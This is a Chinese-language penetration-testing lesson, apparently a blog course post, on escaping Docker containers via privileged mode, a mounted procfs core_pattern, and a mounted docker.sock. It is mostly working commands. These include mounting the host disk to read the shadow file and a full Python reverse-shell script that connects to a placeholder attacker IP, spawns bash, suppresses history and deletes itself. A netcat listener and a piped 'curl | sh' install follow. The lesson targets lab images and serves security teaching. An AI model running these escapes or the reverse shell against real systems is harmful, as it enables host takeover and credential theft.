【第95课】云原生篇&Docker安全&权限环境检测&容器逃逸&特权模式&危险挂载

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点:

1、云原生-Docker安全-容器逃逸&特权模式
2、云原生-Docker安全-容器逃逸&挂载Procfs
3、云原生-Docker安全-容器逃逸&挂载Socket
4、云原生-Docker安全-容器逃逸条件&权限高低

章节点:
云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等
云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等
云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等
云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等

1、Docker是干嘛的?

一个容器技术,类似于VM虚拟机,别人环境封装好打包成一个镜像,使用docker技术就能快速把这个镜像环境还原出来。

2、Docker对于渗透测试影响?

攻击者攻击虚拟空间磁盘,拿到最高权限也是虚拟空间的权限,而不是真实物理环境的权限

在这里插入图片描述

3、前渗透-判断是否在容器中

前提:拿到权限
如何快速判断是否在容器环境-CSDN博客

方式一:查询cgroup信息

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

cat /proc/1/cgroup

docker 环境下:
在这里插入图片描述
K8s环境下:
在这里插入图片描述

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:

ls -alh /.dockerenv 

可以找到文件。
在这里插入图片描述

方式三:查看端口运行情况
netstat -anpt

在这里插入图片描述

4、后渗透-三种安全容器逃逸

特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才能逃逸)
docker自身版本漏洞&系统内核漏洞(软件版本漏洞和系统漏洞 高低权限都可用)

参考地址:云原生 | T Wiki

在这里插入图片描述

一、演示案例-云原生-Docker安全-容器逃逸&特权模式

参考地址:Privileged 特权模式容器逃逸 | T Wiki

1、以特权模式启动靶场

docker run --rm --privileged=true -it alpine

在这里插入图片描述

2、检测是否是docker环境

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

在这里插入图片描述

3、判断是否是特权模式

cat /proc/self/status | grep CapEff

在这里插入图片描述

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

在这里插入图片描述
在这里插入图片描述

4、查看目录

fdisk -l

在这里插入图片描述

5、特权模式逃逸

mkdir /test && mount /dev/sda1 /test

在这里插入图片描述

cd /test/ 
 ls

在这里插入图片描述
尝试访问宿主机 shadow 文件,可以看到正常访问
在这里插入图片描述

二、演示案例-云原生-Docker安全-容器逃逸&挂载Procfs

参考地址:挂载宿主机 procfs 逃逸 | T Wiki

1、启动环境

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

在这里插入图片描述

2、检测环境

find / -name core_pattern

在这里插入图片描述

3、查找路径(容器在真实磁盘的绝对路径)

cat /proc/mounts | grep workdir

在这里插入图片描述

4、写入文件

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反弹IP
lport = xxxx //反弹端口
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF

在这里插入图片描述

chmod +x /tmp/.x.py

在这里插入图片描述

echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore           " > /host/proc/sys/kernel/core_pattern
//这里的路径要替换为workdir的绝对路径

在这里插入图片描述

cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF

在这里插入图片描述

cd /tmp
gcc x.c -o x  //编译c文件

在这里插入图片描述

apt-get update -y && apt-get install  gcc -y 
//实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行

在这里插入图片描述

5、执行文件:

./x  

vps上监听即可

nc -lvvp xxxx

在这里插入图片描述

三、演示案例-云原生-Docker安全-容器逃逸&挂载Socket

参考地址:挂载 Docker Socket 逃逸 | T Wiki

1、启动靶场

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

在这里插入图片描述

2、进入环境

docker exec -it with_docker_sock /bin/bash

在这里插入图片描述

3、检测环境

ls -lah /var/run/docker.sock

在这里插入图片描述
在这里插入图片描述

4、挂载逃逸

apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

docker run -it -v /:/host ubuntu /bin/bash

在这里插入图片描述

ls /host/root

在这里插入图片描述

四、演示案例-云原生-Docker安全-容器逃逸条件&权限高低

模拟真实场景:

1、高权限-Web入口到Docker逃逸(java)特权模式逃逸

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
入口如果是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用系统漏洞或者docker自身漏洞去逃逸。

  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值